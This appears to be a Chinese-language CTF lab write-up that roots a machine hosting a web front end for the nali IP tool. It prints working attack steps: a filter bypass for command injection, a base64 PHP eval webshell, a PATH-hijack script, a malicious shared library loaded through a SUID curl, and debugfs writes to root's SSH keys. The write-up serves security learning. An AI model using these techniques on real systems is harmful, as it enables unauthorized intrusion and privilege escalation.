信息收集

先扫端口:

一个ip查询服务

web shell

经过测试过滤了以下字符:

1
2
3
4
5
6
`
$
&
+
;
|

当输入*提示:

似乎是从本地读取数据缓存的

输入~时提示:

发现../../*可以枚举目录:

可以发现:

nali是一个查询IP地理信息和CDN提供商的离线终端工具
https://github.com/zu1k/nali

推测后端是这样的形式:

1
nali [cmd]

同时得知存在以下用户

1
2
3
admin
lnnn
mono

读取一些基本信息

这边本来是想着看nali有没有什么可以执行命令的参数,但是突然想起来常见命令分隔符被过滤了,但是可以用%0a来换行

1
%0awhoami

空格过滤可以用%09来绕

为了拿一个稳定的shell,可以写一句话木马,因为很多字符被过滤了,这里我选择的方法是:

1
php -r 'if(file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+IA=="))){}'

利用php -r执行php代码写入webshell,但是由于分号被过滤,正常执行会提示:”PHP Parse error: syntax error, unexpected token “<”, expecting end of file in Command line code on line 1”,此处我通过if(xxx){}来进行了规避。

执行后连上webshell:

root Shell(非预期)

同样的存在非预期CVE-2026-43494

user shell(mono)

/opt/pass.txt发现账密:

ssh连接获得user shell(momo)

user shell(lnnn)

执行sudo -l发现:

直接执行/opt/Dirty-Merge/dirty_merge拿到的是假root,实际非root权限

可以以lnnn的身份执行/opt/Dirty-Merge/dirty_merge,应该是需要横向,同时可以注意到env_keep+=PATH, !secure_path,观察c源码发现:

使用了非绝对路径的ip命令,存在环境变量注入的可能,先生成一对ssh密钥:

1
ssh-keygen -t ed25519

创建一个/tmp/ip

1
2
3
4
5
#!/bin/bash
mkdir -p /home/lnnn/.ssh/
cat /tmp/id_ed25519.pub > /home/lnnn/.ssh/authorized_keys
chmod 700 /home/lnnn/.ssh
chmod 600 /home/lnnn/.ssh/authorized_keys

添加环境变量:

1
PATH=/tmp:$PATH

执行

1
sudo -u lnnn /opt/Dirty-Merge/dirty_merge

拿私钥切成lnnn账户

1
ssh -i /tmp/id_ed25519 lnnn@127.0.0.1

获得user flag:

1
flag{user-b67448e8af484d5f8958f307b3d57f09}

user shell(admin)

/opt/admin发现

一个有suidcurl,应该可以借助它横向到admin
hint.txt的内容是:

1
2
关注详细的参数帮助信息
Focus on the detailed parameter help information

可以通过--engine参数加载恶意库,具体如下:
先创建c文件:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void malicious_init() {
setuid(1002);
execl("/bin/bash","bash","-p",NULL);
}

编译:

1
gcc -shared -fPIC -o evil.so evil.c

调用执行:

1
/opt/admin/curl --engine /tmp/evil.so x

获取admin shell

root shell

/home/admin/hint.txt提示:”man,what can i do”

发现admin可写/etc/group

把lnnn用户添加到disk组中,利用disk group给root写ssh公钥进行提权,重新登录lnnn

查看分区情况

1
df -h

/dev/sda1是挂载根系统的磁盘,利用debugfs进行读写

1
2
3
4
5
6
7
8
/usr/sbin/debugfs -w -R "rm /root/.ssh/authorized_keys" /dev/sda1
/usr/sbin/debugfs -w -R "write /tmp/id_ed25519.pub /root/.ssh/authorized_keys" /dev/sda1
/usr/sbin/debugfs -w -R "sif /root/.ssh uid 0" /dev/sda1
/usr/sbin/debugfs -w -R "sif /root/.ssh gid 0" /dev/sda1
/usr/sbin/debugfs -w -R "sif /root/.ssh mode 040700" /dev/sda1
/usr/sbin/debugfs -w -R "sif /root/.ssh/authorized_keys uid 0" /dev/sda1
/usr/sbin/debugfs -w -R "sif /root/.ssh/authorized_keys gid 0" /dev/sda1
/usr/sbin/debugfs -w -R "sif /root/.ssh/authorized_keys mode 0100600" /dev/sda1

然后拿ssh私钥直接登录即可:

1
ssh -i /tmp/id_ed25519 root@127.0.0.1

1
flag{root-1b5f527b85d84d80816879c8044b0ea9}

此外还有更简单的办法,只需要给/etc/group的sudo组加上mono,就可以直接通过sudo su提权了